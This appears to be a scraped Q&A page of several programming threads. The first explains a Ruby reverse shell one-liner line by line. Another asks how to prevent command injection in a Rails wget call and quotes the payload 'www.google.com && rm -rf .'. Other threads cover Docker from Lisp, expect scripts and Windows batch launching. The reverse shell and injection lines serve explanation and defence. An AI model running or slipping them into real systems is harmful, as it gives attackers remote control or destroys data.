Ruby one-liner breakdown? - ruby-on-rails

I'm new to Ruby and trying to better understand this reverse shell one-liner designed to connect back to a Netcat listener.
Can someone try breaking the command down and explaining what some of the code actually does? For example, I know "TCPSocket.new" creates the new TCP socket, but what's "cmd=c.gets", "IO.popen", "|io|c.print io.read", etc. And what is the purpose of the while loop?
ruby -rsocket -e "c=TCPSocket.new('<IP Address>','<Port>');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"

OK, let's break this one down.
ruby
runs the ruby interpreter, you likely knew that part
-rsocket
does the equivalent of require "socket" (r for require)
-e "some string"
run some string as a ruby script (e for execute)
while(cmd=c.gets)
is saying "while gets (get string up to and including the next newline) returns something from the connection c, i.e. while there's data coming in, assign it to cmd and..
IO.popen(cmd,'r'){|io|c.print io.read}
.. run cmd as a shell command, read the output, and print it back onto the connection c.
So, effectively, receive a command (like ls . or rm -rf /) over the network, read it in, run it, take the output, and send it back. Keep doing so until the other side stops sending commands.
Because gets will block and wait for the next line to come in, this one-liner will sit there waiting until the connection is closed.
Probably don't want to let other people send commands down that connection, since it'll run whatever they send directly on your computer, though that's presumably what you mean by "reverse shell".

Related

Execute 'docker run' from within SBCL Common Lisp

I'm trying to run a function in my lisp program. It is a bot that is connected to an IRC channel and with a special command you can query the bot to evaluate a simple lisp command. Because it is extremely dangerous to execute arbitrary code from people on the internet I want the actual evaluation to happen in a VM that is running a docker for every evaluation query the bot gets.
My function looks like this:
(defun run-command (cmd)
(uiop:run-program (list "docker" "run" "--rm" "-it" "my/docker" "sbcl" "--noinform" "--no-sysinit" "--no-userinit" "--noprint" "--disable-debugger" "--eval" (string-trim '(#\^M) (format nil "~A" cmd))) "--eval" "'(quit)'") :output '(:string :stripped t))
The idea behind this function is to start a docker that contains SBCL, runs the command via SBCL --eval and prints it to the docker std-out. And this printed string should be the result of run-command.
If I call
docker run --rm -it my/docker sbcl --noinform --no-sysinit --no-userinit --noprint --disable-debugger --eval "(print (+ 2 3))" --eval "(quit)"
on my command line I just get 5 as an result, what is exactly what I want.
But if I run the same command within lisp, with the uiop:run-program function I get
Subprocess #<UIOP/LAUNCH-PROGRAM::PROCESS-INFO {1004FC3923}>
with command ("docker" "run" "--rm" "-it"
"my/docker" "sbcl" "--noinform"
"--no-sysinit" "--no-userinit" "--noprint"
"--disable-debugger" "--eval" "(+ 2 3)")
as an error message, which means the process failed somehow. But I don't know what exactly could be wrong here. If I just execute for example "ls" I get the output, so the function seems to work properly.
Is there some special knowledge I need about uiop:run-program or am I doing something completely wrong?
Thanks in advance.
Edit: So it turns out that the -it flag caused issues. After removing the flag a new error emerges. Now the bot has not the permissions to execute docker. Is there a way to give it the permissions without granting it sudo rights?
There's, probably, something wrong with the way docker is invoked here (or SBCL). To get the error message, invoke uiop:run-program with :error-output :string argument, and then choose the continue restart to, actually, terminate execution and get the error output printed (if you're running from SLIME or some other REPL). If you call this in a non-interactive environment, you can wrap the call in a handler-bind:
(handler-bind ((uiop/run-program:subprocess-error
(lambda (e) (invoke-restart (find-restart 'continue)))))
(run-command ...))
It turned out the -it did cause trouble. After removing it and elevating the correct permissions to the bot everything worked out fine.

Updating IOS's via SCP in bash with expect

Good day. I am attempting to create/run a script that will allow me to send an updated IOS from a server to my network devices. The following code works when I put in a manual IP address right before the ":flash" command.
#!/user/bin/expect
set IOSroot "/xxxxx/xxx/c3750e-universalk9-mz.150-2.SE10a.bin"
set pw xxxxxxxxxxxxxxxxxxx
spawn scp $IOSroot 1.1.1.1:flash:/c3750e-universalk9-mz.150-2.SE10a.bin
expect "TACACS Password:"
send "$pw\r"
interact
The code there works great and as expected. The issue arises when I try to use a file called "ioshost" with a list of IP's and use that within this script to get some automation. I have tried various things to get this to work. Some of them are as follows:
Settings Variables
IPHosts=$(cat ioshost)
set IPHost 'cat ioshost'
Along with trying to use the read/do command...
while read line; do
spawn scp $IOSroot $line:flash:/c3750e-universalk9-mz.150-2.SE10a.bin
done < ioshost
None of these seem to work and I am looking for guidance. Please note I understand that setting a password is not best practice but setting RSA keys as mentioned in other articles is not allowed so I am forced to do it this way.
Thank you for your time.
You can use one Expect script and one Bash script.
First update your Expect script a bit:
#!/user/bin/expect
set IOSroot "/xxxxx/xxx/c3750e-universalk9-mz.150-2.SE10a.bin"
set pw xxxxxxxxxxxxxxxxxxx
spawn scp $IOSroot [lindex $argv 0]:flash:/c3750e-universalk9-mz.150-2.SE10a.bin
# ^^^^^^^^^^^^^^^^
expect "TACACS Password:"
send "$pw\r"
interact
Then write a simple Bash for loop:
for host in $(<ioshost); do
expect /your/script.exp $host
done

Prevent injection via URL input

In my Rails controller, I take a URL that the user inputs and runs the system command wget:
system("wget #{url}")
I'm afraid that the user might put in something like www.google.com && rm -rf ., which would make the controller execute the command
system("wget www.google.com && rm -rf .")
which deletes everything. How should I prevent against this kind of attacks? I'm not sure what other things the user could put in to harm my system.
Per this thread:
You can avoid shell expansion by passing arguments to the script individually:
system("/bin/wget", params[:url])
Per the documentation on Kernel#system this form does not invoke a shell. Constructs like && are shell constructs, so if you use this form, then the param will be passed to /bin/wget literally as an argument.
That said, still be suspicious of input, sanitize where possible, and if feasible, run it as a non-privileged (or better yet, jailed) user.
Joining commands together with && (or ;, or |) is a shell feature, not something that wget itself understands. If you're using a function that passes a command line to a shell (such as the system() function in many languages), you're at risk. If you execute the wget program directly (rather than executing a shell and giving it a command line), you won't be at risk of that particular attack.
However, the attacker could still do other things, like abuse wget's -O option to overwrite files. You'd be better off not using wget at all — if your goal is to download a file, why not just use an HTTP library to do it directly in your own program's code?
If all you want to do is to just retrieve the content of the URL, it is better to completely avoid the use of 'system' or any other means of running a command on the server.
You can use an http client such as Httparty to fetch the URL content.
response = HTTParty.get("#{url}")

Optimizing Rails loading for maintenance scripts

I wrote a script that does maintenance tasks for a rails application. The script uses a class that uses models defined in the application. Just an example, let's say application defines model User, and my class (used within the script), sends messages to it, like User.find id.
I am looking for ways to optimize this script, because right now it has to load the application environment: require '../config/environment'. This takes ~15 seconds.
Had the script not use application codebase to do its job, I could have replaced model abstractions with raw SQL. But unfortunatly I can't do that because I would have to repeat the code in the script that is already present in the codebase. Not only would this violate DRY principle and require alot of work, the script would not be very maintainable, in case the model methods that I am using change.
I would like to hear ideas how to approach this problem. The script is not run from the application itself, but from the shell (with Capistrano for instance).
I hope I've described the problem clear enough. Thank you.
Could you write a little daemon that is in a read on a pipe (or named fifo, or unix domain socket, or, with more complexity, a tcp port) that accepts 'commands' that would be run on your database?
#!/usr/bin/ruby
require '../config/environment'
while (true) do
File.open("/tmp/fifo", "r") do |f|
f.each_line do |line|
case line
when "cleanup" then puts "clean!"
when "publish" then puts "published!"
else puts "invalid command, ignoring"
end
end
end
end
You could start this thing up with vixie cron's #reboot specifier, or you could run it via capistrano commands, or run it out of init or init scripts. Then you write your capistrano rules (that you have now) to simply echo commands into the fifo:
First,
mkfifo /tmp/fifo
In one terminal:
$ ./env.rb
In another terminal:
$ echo -n "cleanup" > /tmp/fifo
$ echo -n "publish" > /tmp/fifo
$ echo -n "go away" > /tmp/fifo
The output in the first terminal looks like this:
clean!
published!
invalid command, ignoring
You could make the matching as friendly (perhaps allow plain echo, rather than require echo -n as my example does) or unfriendly as you want. And the commands that get run can of course call into your model files to do their work.
Please make sure you choose a good location for your fifo -- /tmp/ is probably a bad place, as many distributions clear it on reboot. Also make sure you set the fifo owner and permission (chown and chmod) appropriately for your application -- you might not want to allow your Firefox's flash plugin to write to this file and command your database.

launch a gui program from windows console and then make it 'detach' itself

I'm trying to modify a legacy Delphi 5 app so that it can be launched either from it's icon/via Explorer, or from the console (command-line). When it gets launched from the console, I want the program to detach itself from the console process, so that the console can continue to execute other instructions without waiting for my program to terminate.
I want to use it in a 'batch' file, such that I might have;
#echo off
rem step 1 - do some stuff here
rem
rem step 2 - launch my app
c:\myfolder\myapp
rem
rem step 3 - do some more stuff here
and that the console process moves on to step 3 straight after launching my app in step 2.
I'm sure I've done this before, many years ago, but I'm puzzled as to what exactly I did. I don't want to write a tiny console app 'launcher' for my main Windows app - I'm 95% sure that there was a way of doing this within a 'normal' Delphi GUI app.
I guess I could use vbscript or powershell or something to 'execute' my program with some kind of 'nowait' parameter but the client is familiar with batch files and I don't really want to upset the applecart by suggesting he change his scripts or install additional stuff - I'm making changes to the executable anyway and it would be great to tick this box for him too.
Anyone? :-)
I think the START command is the one you're looking for. It starts a process separately to the console and it's part of cmd.exe so no extra software required.
But I was of the opinion that GUI apps did this anyway. Maybe Delphi is different to MSVC.
Open up a console and type "start /?".
As itowlson states in the comments, GUI application do generally detach themselves. It's the actual cmd.exe shell doing trickery in that it waits for it to finish if it's running from a cmd file.
So "notepad" from the prompt will start it in the background but "notepad" within a cmd file will wait. Within the cmd file, you need to use:
start notepad.exe
or whatever your application is called (not notepad, presumably).
try: start "" c:\myfolder\myapp (with the empty quotes)
I think Microsoft has been solve this problem in Windows Power Shell.
In command prompt, even if you use "start ", you cant detach your process really from cmd. If you close the cmd, you will die, suddenly. But In windows Power Shell, you can detach your program or command from Power Shell as default.
So, if you prefer to use Windows Power Shell instead of Command Prompt, just do this:
PS: X:\> <your command>
Here's one way that I've found. It works quite cleanly and doesn't leave any extra cmd windows around (the recommendation to use start c:\myfolder\myapp does not work:
cmd /c dir && c:\myfolder\myapp
To quote the CMD help:
/C Carries out the command specified by string and then terminates
Note that multiple commands separated by the command separator '&&'
are accepted for string if surrounded by quotes.
Apparently it notices that the dir command terminates and exits, even though your app was launched on the same command. Chalk it up to one of Windows vagaries.
u should use the cd command example
cd/
cd myfolder
start myapp
exit

Resources